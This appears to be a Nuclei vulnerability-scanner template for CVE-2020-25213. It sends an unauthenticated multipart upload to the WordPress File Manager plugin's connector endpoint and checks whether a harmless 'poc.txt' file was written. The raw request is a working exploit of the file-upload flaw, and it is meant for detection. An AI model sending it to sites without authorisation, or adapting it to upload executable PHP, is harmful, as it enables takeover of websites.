id: CVE-2020-25213 # Uploaded file will be accessible at:- # http://localhost/wp-content/plugins/wp-file-manager/lib/files/poc.txt info: name: WordPress File Manager Plugin - Remote Code Execution author: foulenzer severity: critical description: The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files. reference: - https://plugins.trac.wordpress.org/changeset/2373068 - https://github.com/w4fz5uck5/wp-file-manager-0day - https://nvd.nist.gov/vuln/detail/CVE-2020-25213 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-25213 cwe-id: CWE-434 tags: cve,cve2020,wordpress,rce,kev,fileupload,intrusive requests: - raw: - | POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: multipart/form-data; boundary=------------------------ca81ac1fececda48 --------------------------ca81ac1fececda48 Content-Disposition: form-data; name="reqid" 17457a1fe6959 --------------------------ca81ac1fececda48 Content-Disposition: form-data; name="cmd" upload --------------------------ca81ac1fececda48 Content-Disposition: form-data; name="target" l1_Lw --------------------------ca81ac1fececda48 Content-Disposition: form-data; name="mtime[]" 1576045135 --------------------------ca81ac1fececda48 Content-Disposition: form-data; name="upload[]"; filename="poc.txt" Content-Type: text/plain poc-test --------------------------ca81ac1fececda48-- matchers-condition: and matchers: - type: word words: - poc.txt - added condition: and - type: word words: - application/json part: header - type: status status: - 200 # Enhanced by mp on 2022/03/27